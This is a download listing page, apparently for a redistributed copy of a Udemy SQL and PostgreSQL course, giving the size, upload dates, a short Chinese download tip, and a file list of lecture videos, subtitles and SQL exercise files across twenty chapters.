[FreeCourseSite.com] Udemy - SQL and PostgreSQL The Complete Developer's Guide

mp4   Hot：18   Size：7.87 GB   Created：2023-09-22 16:18:27   Update：2024-09-06 13:19:21  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 0. Websites you may like/[CourseClub.Me].url 122 B
    0. Websites you may like/[FreeCourseSite.com].url 127 B
    0. Websites you may like/[GigaCourse.Com].url 49 B
    01 - Simple - But Powerful - SQL Statements/001 Join Our Community!.html 318 B
    01 - Simple - But Powerful - SQL Statements/002 Course Resources.html 1.25 KB
    01 - Simple - But Powerful - SQL Statements/002 diagrams.zip 7.72 MB
    01 - Simple - But Powerful - SQL Statements/003 What is PostgreSQL All About.mp4 15.94 MB
    01 - Simple - But Powerful - SQL Statements/003 What is PostgreSQL All About_en.srt 7.25 KB
    01 - Simple - But Powerful - SQL Statements/004 Database Design.mp4 49.41 MB
    01 - Simple - But Powerful - SQL Statements/004 Database Design_en.srt 8.21 KB
    01 - Simple - But Powerful - SQL Statements/005 003-sql.sql 104 B
    01 - Simple - But Powerful - SQL Statements/005 Creating Tables.mp4 12.9 MB
    01 - Simple - But Powerful - SQL Statements/005 Creating Tables_en.srt 7.67 KB
    01 - Simple - But Powerful - SQL Statements/006 Analyzing CREATE TABLE.mp4 17.67 MB
    01 - Simple - But Powerful - SQL Statements/006 Analyzing CREATE TABLE_en.srt 5.54 KB
    01 - Simple - But Powerful - SQL Statements/007 005-sql-cumulative.sql 384 B
    01 - Simple - But Powerful - SQL Statements/007 005-sql.sql 278 B
    01 - Simple - But Powerful - SQL Statements/007 Inserting Data Into a Table.mp4 18.07 MB
    01 - Simple - But Powerful - SQL Statements/007 Inserting Data Into a Table_en.srt 7.59 KB
    01 - Simple - But Powerful - SQL Statements/008 Retrieving Data with Select.mp4 6.02 MB
    01 - Simple - But Powerful - SQL Statements/008 Retrieving Data with Select_en.srt 3.45 KB
    01 - Simple - But Powerful - SQL Statements/009 Calculated Columns.mp4 15.22 MB
    01 - Simple - But Powerful - SQL Statements/009 Calculated Columns_en.srt 7.23 KB
    01 - Simple - But Powerful - SQL Statements/010 Calculating Phone Revenue.mp4 3.36 MB
    01 - Simple - But Powerful - SQL Statements/010 Calculating Phone Revenue_en.srt 1.58 KB
    01 - Simple - But Powerful - SQL Statements/011 Exercise Solution.mp4 3.15 MB
    01 - Simple - But Powerful - SQL Statements/011 Exercise Solution_en.srt 1.62 KB
    01 - Simple - But Powerful - SQL Statements/012 012-sql.sql 404 B
    01 - Simple - But Powerful - SQL Statements/012 String Operators and Functions.mp4 16.34 MB
    01 - Simple - But Powerful - SQL Statements/012 String Operators and Functions_en.srt 10.17 KB
    02 - Filtering Records/001 013-sql.sql 48 B
    02 - Filtering Records/001 Filtering Rows with Where.mp4 12.26 MB
    02 - Filtering Records/001 Filtering Rows with Where_en.srt 6 KB
    02 - Filtering Records/002 More on the Where Keyword.mp4 9.45 MB
    02 - Filtering Records/002 More on the Where Keyword_en.srt 3.79 KB
    02 - Filtering Records/003 Compound Where Clauses.mp4 18.98 MB
    02 - Filtering Records/003 Compound Where Clauses_en.srt 7.57 KB
    02 - Filtering Records/004 A Where Exercise Overview.mp4 1.72 MB
    02 - Filtering Records/004 A Where Exercise Overview_en.srt 946 B
    02 - Filtering Records/005 A Where Solution.mp4 2.54 MB
    02 - Filtering Records/005 A Where Solution_en.srt 1.52 KB
    02 - Filtering Records/006 Where With Lists.mp4 1.59 MB
    02 - Filtering Records/006 Where With Lists_en.srt 1.07 KB
    02 - Filtering Records/007 A Where With Lists Solution.mp4 4.96 MB
    02 - Filtering Records/007 A Where With Lists Solution_en.srt 2.49 KB
    02 - Filtering Records/008 Calculations in Where Clauses.mp4 4.68 MB
    02 - Filtering Records/008 Calculations in Where Clauses_en.srt 3.02 KB
    02 - Filtering Records/009 Solving Calculations.mp4 5.91 MB
    02 - Filtering Records/009 Solving Calculations_en.srt 2.95 KB
    02 - Filtering Records/010 Updating Rows.mp4 17.3 MB
    02 - Filtering Records/010 Updating Rows_en.srt 6.32 KB
    02 - Filtering Records/011 Deleting Rows.mp4 11.18 MB
    02 - Filtering Records/011 Deleting Rows_en.srt 5.25 KB
    02 - Filtering Records/012 A Solution for Updating Rows.mp4 4.94 MB
    02 - Filtering Records/012 A Solution for Updating Rows_en.srt 1.98 KB
    02 - Filtering Records/013 Solution for Deleting Rows.mp4 4 MB
    02 - Filtering Records/013 Solution for Deleting Rows_en.srt 2.27 KB
    03 - Working with Tables/001 The Plan Moving Forward.mp4 10.75 MB
    03 - Working with Tables/001 The Plan Moving Forward_en.srt 2.75 KB
    03 - Working with Tables/002 Approaching Database Design.mp4 50.16 MB
    03 - Working with Tables/002 Approaching Database Design_en.srt 11.79 KB
    03 - Working with Tables/003 One-to-Many and Many-to-One Relationships.mp4 41.31 MB
    03 - Working with Tables/003 One-to-Many and Many-to-One Relationships_en.srt 10.13 KB
    03 - Working with Tables/004 One-to-One and Many-to-Many Relationships.mp4 24.58 MB
    03 - Working with Tables/004 One-to-One and Many-to-Many Relationships_en.srt 8.83 KB
    03 - Working with Tables/005 Primary Keys and Foreign Keys.mp4 29.57 MB
    03 - Working with Tables/005 Primary Keys and Foreign Keys_en.srt 7.95 KB
    03 - Working with Tables/006 Understanding Foreign Keys.mp4 63.35 MB
    03 - Working with Tables/006 Understanding Foreign Keys_en.srt 12.99 KB
    03 - Working with Tables/007 007-tables-cumulative.sql 172 B
    03 - Working with Tables/007 007-tables.sql 194 B
    03 - Working with Tables/007 Auto-Generated ID's.mp4 22.97 MB
    03 - Working with Tables/007 Auto-Generated ID's_en.srt 9.15 KB
    03 - Working with Tables/008 008-tables-cumulative.sql 348 B
    03 - Working with Tables/008 008-tables.sql 197 B
    03 - Working with Tables/008 Creating Foreign Key Columns.mp4 18.32 MB
    03 - Working with Tables/008 Creating Foreign Key Columns_en.srt 7.61 KB
    03 - Working with Tables/009 009-tables-cumulative.sql 536 B
    03 - Working with Tables/009 009-tables.sql 326 B
    03 - Working with Tables/009 Running Queries on Associated Data.mp4 38.22 MB
    03 - Working with Tables/009 Running Queries on Associated Data_en.srt 10.61 KB
    03 - Working with Tables/010 Exercise Overview.mp4 8.25 MB
    03 - Working with Tables/010 Exercise Overview_en.srt 3.26 KB
    03 - Working with Tables/011 Foreign Key Creation Solution.mp4 8.35 MB
    03 - Working with Tables/011 Foreign Key Creation Solution_en.srt 3.14 KB
    03 - Working with Tables/012 012-tables-cumulative.sql 600 B
    03 - Working with Tables/012 012-tables.sql 199 B
    03 - Working with Tables/012 Foreign Key Constraints Around Insertion.mp4 22.15 MB
    03 - Working with Tables/012 Foreign Key Constraints Around Insertion_en.srt 8.72 KB
    03 - Working with Tables/013 Constraints Around Deletion.mp4 40.54 MB
    03 - Working with Tables/013 Constraints Around Deletion_en.srt 7.76 KB
    03 - Working with Tables/014 Commands You’ll Need for the Next Video.html 691 B
    03 - Working with Tables/015 014-tables-cumulative.sql 994 B
    03 - Working with Tables/015 014-tables.sql 469 B
    03 - Working with Tables/015 Testing Deletion Constraints.mp4 19.27 MB
    03 - Working with Tables/015 Testing Deletion Constraints_en.srt 7.09 KB
    03 - Working with Tables/016 015-tables-cumulative.sql 1.28 KB
    03 - Working with Tables/016 015-tables.sql 340 B
    03 - Working with Tables/016 Setting Foreign Keys to Null on Delete.mp4 12.6 MB
    03 - Working with Tables/016 Setting Foreign Keys to Null on Delete_en.srt 4.59 KB
    03 - Working with Tables/017 Adding Some Complexity.mp4 9.96 MB
    03 - Working with Tables/017 Adding Some Complexity_en.srt 4.75 KB
    04 - Relating Records with Joins/001 Adding Some Data.html 7.66 KB
    04 - Relating Records with Joins/002 Queries with Joins and Aggregations.mp4 27.86 MB
    04 - Relating Records with Joins/002 Queries with Joins and Aggregations_en.srt 5.26 KB
    04 - Relating Records with Joins/003 Joining Data from Different Tables.mp4 36.8 MB
    04 - Relating Records with Joins/003 Joining Data from Different Tables_en.srt 11.65 KB
    04 - Relating Records with Joins/004 Another Quick Join.mp4 8.62 MB
    04 - Relating Records with Joins/004 Another Quick Join_en.srt 3.38 KB
    04 - Relating Records with Joins/005 Exercise Overview.mp4 4.85 MB
    04 - Relating Records with Joins/005 Exercise Overview_en.srt 1.84 KB
    04 - Relating Records with Joins/006 A Joinful Solution.mp4 5.27 MB
    04 - Relating Records with Joins/006 A Joinful Solution_en.srt 2.74 KB
    04 - Relating Records with Joins/007 Alternate Forms of Syntax.mp4 24.96 MB
    04 - Relating Records with Joins/007 Alternate Forms of Syntax_en.srt 9.32 KB
    04 - Relating Records with Joins/008 007-joins-cumulative.sql 7.54 KB
    04 - Relating Records with Joins/008 Missing Data in Joins.mp4 29.27 MB
    04 - Relating Records with Joins/008 Missing Data in Joins_en.srt 10.03 KB
    04 - Relating Records with Joins/009 Why Wasn't It Included.mp4 24.58 MB
    04 - Relating Records with Joins/009 Why Wasn't It Included_en.srt 3.84 KB
    04 - Relating Records with Joins/010 009-joins-cheatsheet.pdf 190.52 KB
    04 - Relating Records with Joins/010 Four Kinds of Joins.mp4 124.86 MB
    04 - Relating Records with Joins/010 Four Kinds of Joins_en.srt 15.17 KB
    04 - Relating Records with Joins/011 010-sql-cumulative.sql 7.59 KB
    04 - Relating Records with Joins/011 Each Join in Practice.mp4 40.6 MB
    04 - Relating Records with Joins/011 Each Join in Practice_en.srt 6.76 KB
    04 - Relating Records with Joins/012 Does Order Matter.mp4 61.33 MB
    04 - Relating Records with Joins/012 Does Order Matter_en.srt 6.38 KB
    04 - Relating Records with Joins/013 Exercise Overview.mp4 2.23 MB
    04 - Relating Records with Joins/013 Exercise Overview_en.srt 1.54 KB
    04 - Relating Records with Joins/014 Two Possible Solutions.mp4 16.51 MB
    04 - Relating Records with Joins/015 Where with Join.mp4 31.03 MB
    04 - Relating Records with Joins/015 Where with Join_en.srt 10.6 KB
    04 - Relating Records with Joins/016 Three Way Joins.mp4 49.71 MB
    04 - Relating Records with Joins/016 Three Way Joins_en.srt 12.2 KB
    04 - Relating Records with Joins/017 A Bit of Practice.mp4 17.87 MB
    04 - Relating Records with Joins/017 A Bit of Practice_en.srt 7.81 KB
    04 - Relating Records with Joins/018 Exercise Solution.mp4 7.67 MB
    04 - Relating Records with Joins/018 Exercise Solution_en.srt 4.31 KB
    05 - Aggregation of Records/001 Aggregating and Grouping.mp4 7.9 MB
    05 - Aggregation of Records/001 Aggregating and Grouping_en.srt 3.58 KB
    05 - Aggregation of Records/002 Picturing Group By.mp4 29.43 MB
    05 - Aggregation of Records/002 Picturing Group By_en.srt 8.28 KB
    05 - Aggregation of Records/003 Aggregate Functions.mp4 11.58 MB
    05 - Aggregation of Records/003 Aggregate Functions_en.srt 4.61 KB
    05 - Aggregation of Records/004 Combining Group By and Aggregates.mp4 15.13 MB
    05 - Aggregation of Records/004 Combining Group By and Aggregates_en.srt 7.06 KB
    05 - Aggregation of Records/005 A Gotcha with Count.mp4 5.46 MB
    05 - Aggregation of Records/005 A Gotcha with Count_en.srt 4.21 KB
    05 - Aggregation of Records/006 Visualizing More Grouping.mp4 9.72 MB
    05 - Aggregation of Records/006 Visualizing More Grouping_en.srt 4.67 KB
    05 - Aggregation of Records/007 Exercise Overview.mp4 1.66 MB
    05 - Aggregation of Records/007 Exercise Overview_en.srt 1.2 KB
    05 - Aggregation of Records/008 Grouping Solution.mp4 3.15 MB
    05 - Aggregation of Records/008 Grouping Solution_en.srt 2.21 KB
    05 - Aggregation of Records/009 Adding a Layer of Difficulty.mp4 1.79 MB
    05 - Aggregation of Records/009 Adding a Layer of Difficulty_en.srt 1.12 KB
    05 - Aggregation of Records/010 Solution.mp4 3.68 MB
    05 - Aggregation of Records/010 Solution_en.srt 2.44 KB
    05 - Aggregation of Records/011 Filtering Groups with Having.mp4 36.97 MB
    05 - Aggregation of Records/011 Filtering Groups with Having_en.srt 7.76 KB
    05 - Aggregation of Records/012 Having In Action.mp4 6.86 MB
    05 - Aggregation of Records/012 Having In Action_en.srt 4.11 KB
    05 - Aggregation of Records/013 More on Having!.mp4 28.46 MB
    05 - Aggregation of Records/013 More on Having!_en.srt 11.04 KB
    05 - Aggregation of Records/014 A Having Exercise Overview.mp4 12.79 MB
    05 - Aggregation of Records/014 A Having Exercise Overview_en.srt 5.53 KB
    05 - Aggregation of Records/015 A Quick Solution.mp4 7.3 MB
    05 - Aggregation of Records/015 A Quick Solution_en.srt 3.79 KB
    06 - Working with Large Datasets/0. Websites you may like/[CourseClub.Me].url 122 B
    06 - Working with Large Datasets/0. Websites you may like/[FreeCourseSite.com].url 127 B
    06 - Working with Large Datasets/0. Websites you may like/[GigaCourse.Com].url 49 B
    06 - Working with Large Datasets/001 A New Dataset.html 17.84 KB
    06 - Working with Large Datasets/002 001-sq-data.sql 15.82 KB
    06 - Working with Large Datasets/002 Investigating This Dataset.mp4 8 MB
    06 - Working with Large Datasets/002 Investigating This Dataset_en.srt 3.99 KB
    06 - Working with Large Datasets/003 Some Group By Practice.mp4 3.1 MB
    06 - Working with Large Datasets/003 Some Group By Practice_en.srt 2.05 KB
    06 - Working with Large Datasets/004 Group By Review Solution.mp4 7.92 MB
    06 - Working with Large Datasets/004 Group By Review Solution_en.srt 3.71 KB
    06 - Working with Large Datasets/005 Remember Joins.mp4 9.3 MB
    06 - Working with Large Datasets/005 Remember Joins_en.srt 3.66 KB
    06 - Working with Large Datasets/006 Of Course You Remember!.mp4 4.42 MB
    06 - Working with Large Datasets/006 Of Course You Remember!_en.srt 2.21 KB
    07 - Sorting Records/001 The Basics of Sorting.mp4 6.73 MB
    07 - Sorting Records/001 The Basics of Sorting_en.srt 3.69 KB
    07 - Sorting Records/002 Two Variations on Sorting.mp4 9.46 MB
    07 - Sorting Records/002 Two Variations on Sorting_en.srt 4.19 KB
    07 - Sorting Records/003 Offset and Limit.mp4 19.43 MB
    07 - Sorting Records/003 Offset and Limit_en.srt 10.15 KB
    07 - Sorting Records/004 Exercise Overview.mp4 1.08 MB
    07 - Sorting Records/004 Exercise Overview_en.srt 688 B
    07 - Sorting Records/005 Exercise Solution.mp4 3.33 MB
    07 - Sorting Records/005 Exercise Solution_en.srt 2.14 KB
    08 - Unions and Intersections with Sets/001 Handling Sets with Union.mp4 19.51 MB
    08 - Unions and Intersections with Sets/001 Handling Sets with Union_en.srt 8.99 KB
    08 - Unions and Intersections with Sets/002 A Few Notes on Union.mp4 16.54 MB
    08 - Unions and Intersections with Sets/002 A Few Notes on Union_en.srt 5.85 KB
    08 - Unions and Intersections with Sets/003 Commonalities with Intersect.mp4 15.42 MB
    08 - Unions and Intersections with Sets/003 Commonalities with Intersect_en.srt 5.05 KB
    08 - Unions and Intersections with Sets/004 Removing Commonalities with Except.mp4 20.44 MB
    08 - Unions and Intersections with Sets/004 Removing Commonalities with Except_en.srt 9.47 KB
    08 - Unions and Intersections with Sets/005 Union Exercise Overview.mp4 4.23 MB
    08 - Unions and Intersections with Sets/005 Union Exercise Overview_en.srt 2.13 KB
    08 - Unions and Intersections with Sets/006 Exercise Solution.mp4 4.72 MB
    08 - Unions and Intersections with Sets/006 Exercise Solution_en.srt 2.15 KB
    09 - Assembling Queries with SubQueries/0. Websites you may like/[CourseClub.Me].url 122 B
    09 - Assembling Queries with SubQueries/0. Websites you may like/[FreeCourseSite.com].url 127 B
    09 - Assembling Queries with SubQueries/0. Websites you may like/[GigaCourse.Com].url 49 B
    09 - Assembling Queries with SubQueries/001 What's a Subquery.mp4 30.54 MB
    09 - Assembling Queries with SubQueries/001 What's a Subquery_en.srt 8.58 KB
    09 - Assembling Queries with SubQueries/002 Thinking About the Structure of Data.mp4 23.64 MB
    09 - Assembling Queries with SubQueries/002 Thinking About the Structure of Data_en.srt 7.54 KB
    09 - Assembling Queries with SubQueries/003 Subqueries in a Select.mp4 22.54 MB
    09 - Assembling Queries with SubQueries/003 Subqueries in a Select_en.srt 8.52 KB
    09 - Assembling Queries with SubQueries/004 Exercise Overview.mp4 3.05 MB
    09 - Assembling Queries with SubQueries/004 Exercise Overview_en.srt 1.74 KB
    09 - Assembling Queries with SubQueries/005 Select Solution.mp4 3.8 MB
    09 - Assembling Queries with SubQueries/005 Select Solution_en.srt 1.94 KB
    09 - Assembling Queries with SubQueries/006 Subqueries in a From.mp4 44.45 MB
    09 - Assembling Queries with SubQueries/006 Subqueries in a From_en.srt 12.26 KB
    09 - Assembling Queries with SubQueries/007 From Subqueries that Return a Value.mp4 9.08 MB
    09 - Assembling Queries with SubQueries/007 From Subqueries that Return a Value_en.srt 4.27 KB
    09 - Assembling Queries with SubQueries/008 Example of a Subquery in a From.mp4 53.51 MB
    09 - Assembling Queries with SubQueries/008 Example of a Subquery in a From_en.srt 13.93 KB
    09 - Assembling Queries with SubQueries/009 Exercise Overview.mp4 3.4 MB
    09 - Assembling Queries with SubQueries/009 Exercise Overview_en.srt 1.78 KB
    09 - Assembling Queries with SubQueries/010 Exercise Solution.mp4 10.37 MB
    09 - Assembling Queries with SubQueries/010 Exercise Solution_en.srt 2.77 KB
    09 - Assembling Queries with SubQueries/011 Subqueries in a Join Clause.mp4 16.55 MB
    09 - Assembling Queries with SubQueries/011 Subqueries in a Join Clause_en.srt 7.03 KB
    09 - Assembling Queries with SubQueries/012 More Useful - Subqueries with Where.mp4 36.66 MB
    09 - Assembling Queries with SubQueries/012 More Useful - Subqueries with Where_en.srt 13.87 KB
    09 - Assembling Queries with SubQueries/013 Data Structure with Where Subqueries.mp4 44.04 MB
    09 - Assembling Queries with SubQueries/013 Data Structure with Where Subqueries_en.srt 9 KB
    09 - Assembling Queries with SubQueries/014 Exercise Overview.mp4 2.71 MB
    09 - Assembling Queries with SubQueries/014 Exercise Overview_en.srt 1.53 KB
    09 - Assembling Queries with SubQueries/015 Exercise Solution.mp4 6.25 MB
    09 - Assembling Queries with SubQueries/015 Exercise Solution_en.srt 3.14 KB
    09 - Assembling Queries with SubQueries/016 The Not In Operator with a List.mp4 38.59 MB
    09 - Assembling Queries with SubQueries/016 The Not In Operator with a List_en.srt 6.35 KB
    09 - Assembling Queries with SubQueries/017 A New Where Operator.mp4 38.71 MB
    09 - Assembling Queries with SubQueries/017 A New Where Operator_en.srt 10.05 KB
    09 - Assembling Queries with SubQueries/018 Finally Some!.mp4 31.96 MB
    09 - Assembling Queries with SubQueries/018 Finally Some!_en.srt 7.93 KB
    09 - Assembling Queries with SubQueries/019 Exercise Overview.mp4 1.23 MB
    09 - Assembling Queries with SubQueries/019 Exercise Overview_en.srt 746 B
    09 - Assembling Queries with SubQueries/020 A Quick Solution.mp4 4.37 MB
    09 - Assembling Queries with SubQueries/020 A Quick Solution_en.srt 2.42 KB
    09 - Assembling Queries with SubQueries/021 Probably Too Much About Correlated Subqueries.mp4 107 MB
    09 - Assembling Queries with SubQueries/021 Probably Too Much About Correlated Subqueries_en.srt 26.28 KB
    09 - Assembling Queries with SubQueries/022 More on Correlated Subqueries.mp4 44.16 MB
    09 - Assembling Queries with SubQueries/022 More on Correlated Subqueries_en.srt 13.74 KB
    09 - Assembling Queries with SubQueries/023 A Select Without a From.mp4 9.09 MB
    09 - Assembling Queries with SubQueries/023 A Select Without a From_en.srt 5.2 KB
    09 - Assembling Queries with SubQueries/024 Exercise Overview.mp4 1.95 MB
    09 - Assembling Queries with SubQueries/024 Exercise Overview_en.srt 1.26 KB
    09 - Assembling Queries with SubQueries/025 Exercise Solution.mp4 3.57 MB
    09 - Assembling Queries with SubQueries/025 Exercise Solution_en.srt 1.9 KB
    10 - Selecting Distinct Records/001 Selecting Distinct Values.mp4 12.46 MB
    10 - Selecting Distinct Records/001 Selecting Distinct Values_en.srt 6.58 KB
    10 - Selecting Distinct Records/002 Exercise Overview.mp4 1.3 MB
    10 - Selecting Distinct Records/002 Exercise Overview_en.srt 879 B
    10 - Selecting Distinct Records/003 A Distinct Solution.mp4 1.9 MB
    10 - Selecting Distinct Records/003 A Distinct Solution_en.srt 1006 B
    11 - Utility Operators, Keywords, and Functions/001 The Greatest Value in a List.mp4 11.77 MB
    11 - Utility Operators, Keywords, and Functions/001 The Greatest Value in a List_en.srt 5.13 KB
    11 - Utility Operators, Keywords, and Functions/002 And the Least Value in a List!.mp4 5.55 MB
    11 - Utility Operators, Keywords, and Functions/002 And the Least Value in a List!_en.srt 3.14 KB
    11 - Utility Operators, Keywords, and Functions/003 The Case Keyword.mp4 13.32 MB
    11 - Utility Operators, Keywords, and Functions/003 The Case Keyword_en.srt 6.91 KB
    12 - Local PostgreSQL Installation/001 PostgreSQL Installation on macOS.mp4 21.13 MB
    12 - Local PostgreSQL Installation/001 PostgreSQL Installation on macOS_en.srt 9.83 KB
    12 - Local PostgreSQL Installation/002 PGAdmin Setup on macOS.mp4 36.92 MB
    12 - Local PostgreSQL Installation/002 PGAdmin Setup on macOS_en.srt 8.04 KB
    12 - Local PostgreSQL Installation/003 Postgres installation on Windows.mp4 23.31 MB
    12 - Local PostgreSQL Installation/003 Postgres installation on Windows_en.srt 6.75 KB
    13 - PostgreSQL Complex Datatypes/001 What'd We Just Do.mp4 19.32 MB
    13 - PostgreSQL Complex Datatypes/001 What'd We Just Do_en.srt 6.45 KB
    13 - PostgreSQL Complex Datatypes/002 Data Types.mp4 30.53 MB
    13 - PostgreSQL Complex Datatypes/002 Data Types_en.srt 7.02 KB
    13 - PostgreSQL Complex Datatypes/003 Fast Rules on Numeric Data Types.mp4 18.9 MB
    13 - PostgreSQL Complex Datatypes/003 Fast Rules on Numeric Data Types_en.srt 3.6 KB
    13 - PostgreSQL Complex Datatypes/004 More on Number Data Types.mp4 48.13 MB
    13 - PostgreSQL Complex Datatypes/004 More on Number Data Types_en.srt 15.2 KB
    13 - PostgreSQL Complex Datatypes/005 Reminder on Character Types.mp4 29.9 MB
    13 - PostgreSQL Complex Datatypes/005 Reminder on Character Types_en.srt 7.83 KB
    13 - PostgreSQL Complex Datatypes/006 Boolean Data Types.mp4 8.2 MB
    13 - PostgreSQL Complex Datatypes/006 Boolean Data Types_en.srt 4.37 KB
    13 - PostgreSQL Complex Datatypes/007 Times, Dates, and Timestamps.mp4 21.27 MB
    13 - PostgreSQL Complex Datatypes/007 Times, Dates, and Timestamps_en.srt 8.48 KB
    13 - PostgreSQL Complex Datatypes/008 Really Awesome Intervals.mp4 19.5 MB
    13 - PostgreSQL Complex Datatypes/008 Really Awesome Intervals_en.srt 9.12 KB
    14 - Database-Side Validation and Constraints/001 Thinking About Validation.mp4 34.64 MB
    14 - Database-Side Validation and Constraints/001 Thinking About Validation_en.srt 6.7 KB
    14 - Database-Side Validation and Constraints/002 Creating and Viewing Tables in PGAdmin.mp4 28.09 MB
    14 - Database-Side Validation and Constraints/002 Creating and Viewing Tables in PGAdmin_en.srt 11.63 KB
    14 - Database-Side Validation and Constraints/003 Applying a Null Constraint.mp4 21.08 MB
    14 - Database-Side Validation and Constraints/003 Applying a Null Constraint_en.srt 10.38 KB
    14 - Database-Side Validation and Constraints/004 Solving a Gotcha with Null Constraints.mp4 13.72 MB
    14 - Database-Side Validation and Constraints/004 Solving a Gotcha with Null Constraints_en.srt 6.69 KB
    14 - Database-Side Validation and Constraints/005 Default Column Values.mp4 22.47 MB
    14 - Database-Side Validation and Constraints/005 Default Column Values_en.srt 5.16 KB
    14 - Database-Side Validation and Constraints/006 Applying a Unique Constraint to One column.mp4 43.13 MB
    14 - Database-Side Validation and Constraints/006 Applying a Unique Constraint to One column_en.srt 9.32 KB
    14 - Database-Side Validation and Constraints/007 Multi-Column Uniqueness.mp4 30.06 MB
    14 - Database-Side Validation and Constraints/007 Multi-Column Uniqueness_en.srt 5.54 KB
    14 - Database-Side Validation and Constraints/008 Adding a Validation Check.mp4 18.21 MB
    14 - Database-Side Validation and Constraints/008 Adding a Validation Check_en.srt 6.35 KB
    14 - Database-Side Validation and Constraints/009 Checks Over Multiple Columns.mp4 17.21 MB
    14 - Database-Side Validation and Constraints/009 Checks Over Multiple Columns_en.srt 8.04 KB
    14 - Database-Side Validation and Constraints/010 So Where Are We Applying Validation.mp4 22.04 MB
    14 - Database-Side Validation and Constraints/010 So Where Are We Applying Validation_en.srt 9.74 KB
    15 - Database Structure Design Patterns/001 Approaching More Complicated Designs.mp4 11.21 MB
    15 - Database Structure Design Patterns/001 Approaching More Complicated Designs_en.srt 5.36 KB
    15 - Database Structure Design Patterns/002 Using a SQL Design Tool.mp4 47.29 MB
    15 - Database Structure Design Patterns/002 Using a SQL Design Tool_en.srt 10.01 KB
    15 - Database Structure Design Patterns/003 A Config-based Schema Designer.mp4 28.69 MB
    15 - Database Structure Design Patterns/003 A Config-based Schema Designer_en.srt 11.68 KB
    15 - Database Structure Design Patterns/004 Here's the Plan.mp4 9.63 MB
    15 - Database Structure Design Patterns/004 Here's the Plan_en.srt 4.2 KB
    15 - Database Structure Design Patterns/005 005-design.dbml 455 B
    15 - Database Structure Design Patterns/005 Rebuilding Some Schema.mp4 20.94 MB
    15 - Database Structure Design Patterns/005 Rebuilding Some Schema_en.srt 10.89 KB
    16 - How to Build a 'Like' System/001 Requirements of a Like System.mp4 26.11 MB
    16 - How to Build a 'Like' System/001 Requirements of a Like System_en.srt 7.62 KB
    16 - How to Build a 'Like' System/002 How Not to Design a Like System.mp4 16.22 MB
    16 - How to Build a 'Like' System/002 How Not to Design a Like System_en.srt 4.9 KB
    16 - How to Build a 'Like' System/003 Designing a Like System.mp4 26.14 MB
    16 - How to Build a 'Like' System/003 Designing a Like System_en.srt 8.38 KB
    16 - How to Build a 'Like' System/004 Making a Reaction System Instead.mp4 6.39 MB
    16 - How to Build a 'Like' System/004 Making a Reaction System Instead_en.srt 2.55 KB
    16 - How to Build a 'Like' System/005 Polymorphic Associations.mp4 52.6 MB
    16 - How to Build a 'Like' System/005 Polymorphic Associations_en.srt 9.42 KB
    16 - How to Build a 'Like' System/006 Polymorphic Association Alternative Implementation.mp4 63.84 MB
    16 - How to Build a 'Like' System/006 Polymorphic Association Alternative Implementation_en.srt 11.14 KB
    16 - How to Build a 'Like' System/007 The Simplest Alternative.mp4 26.94 MB
    16 - How to Build a 'Like' System/007 The Simplest Alternative_en.srt 6.09 KB
    16 - How to Build a 'Like' System/008 So Which Approach.mp4 16.02 MB
    16 - How to Build a 'Like' System/008 So Which Approach_en.srt 7.11 KB
    17 - How to Build a 'Mention' System/001 Additional Features Around Posts.mp4 95.79 MB
    17 - How to Build a 'Mention' System/001 Additional Features Around Posts_en.srt 10.26 KB
    17 - How to Build a 'Mention' System/002 Adding Captions and Locations.mp4 8.53 MB
    17 - How to Build a 'Mention' System/002 Adding Captions and Locations_en.srt 2.64 KB
    17 - How to Build a 'Mention' System/003 Photo Mentions vs Caption Mentions.mp4 73.41 MB
    17 - How to Build a 'Mention' System/003 Photo Mentions vs Caption Mentions_en.srt 12.54 KB
    17 - How to Build a 'Mention' System/004 Considerations on Photo Tags vs Caption Tags.mp4 67.08 MB
    17 - How to Build a 'Mention' System/004 Considerations on Photo Tags vs Caption Tags_en.srt 11.64 KB
    17 - How to Build a 'Mention' System/005 Update For Tags.mp4 23.42 MB
    17 - How to Build a 'Mention' System/005 Update For Tags_en.srt 7.62 KB
    18 - How to Build a 'Hashtag' System/001 Designing a Hashtag System.mp4 98.12 MB
    18 - How to Build a 'Hashtag' System/001 Designing a Hashtag System_en.srt 11.93 KB
    18 - How to Build a 'Hashtag' System/002 Tables for Hashtags.mp4 14.45 MB
    18 - How to Build a 'Hashtag' System/002 Tables for Hashtags_en.srt 5.89 KB
    18 - How to Build a 'Hashtag' System/003 Including the Hashtag Table.mp4 18.04 MB
    18 - How to Build a 'Hashtag' System/003 Including the Hashtag Table_en.srt 5.77 KB
    18 - How to Build a 'Hashtag' System/004 A Few More User Columns.mp4 27.66 MB
    18 - How to Build a 'Hashtag' System/004 A Few More User Columns_en.srt 9.98 KB
    18 - How to Build a 'Hashtag' System/005 Why No Number of Followers or Posts.mp4 17.1 MB
    18 - How to Build a 'Hashtag' System/005 Why No Number of Followers or Posts_en.srt 6.01 KB
    19 - How to Design a 'Follower' System/001 Designing a Follower System.mp4 26.49 MB
    19 - How to Design a 'Follower' System/001 Designing a Follower System_en.srt 9.35 KB
    20 - Implementing Database Design Patterns/001 Back to Postgres.mp4 6.84 MB
    20 - Implementing Database Design Patterns/001 Back to Postgres_en.srt 3.2 KB
    20 - Implementing Database Design Patterns/002 002-db.sql 375 B
    20 - Implementing Database Design Patterns/002 Creating Tables with Checks.mp4 60.56 MB
    20 - Implementing Database Design Patterns/002 Creating Tables with Checks_en.srt 21.37 KB
    20 - Implementing Database Design Patterns/003 003-db.sql 791 B
    20 - Implementing Database Design Patterns/003 Posts Creation.mp4 36.16 MB
    20 - Implementing Database Design Patterns/003 Posts Creation_en.srt 12.82 KB
    20 - Implementing Database Design Patterns/004 004-db.sql 1.11 KB
    20 - Implementing Database Design Patterns/004 Comments Creation.mp4 7.17 MB
    20 - Implementing Database Design Patterns/004 Comments Creation_en.srt 3.54 KB
    20 - Implementing Database Design Patterns/005 005-db.sql 1.55 KB
    20 - Implementing Database Design Patterns/005 Likes Creation.mp4 23.87 MB
    20 - Implementing Database Design Patterns/005 Likes Creation_en.srt 10.52 KB
    20 - Implementing Database Design Patterns/006 006-db.sql 2.19 KB
    20 - Implementing Database Design Patterns/006 Photo Tags and Caption Tags.mp4 41.35 MB
    20 - Implementing Database Design Patterns/006 Photo Tags and Caption Tags_en.srt 8.52 KB
    20 - Implementing Database Design Patterns/007 007-db.sql 2.84 KB
    20 - Implementing Database Design Patterns/007 Creating Hashtags, Hashtag Posts, and Followers.mp4 19.85 MB
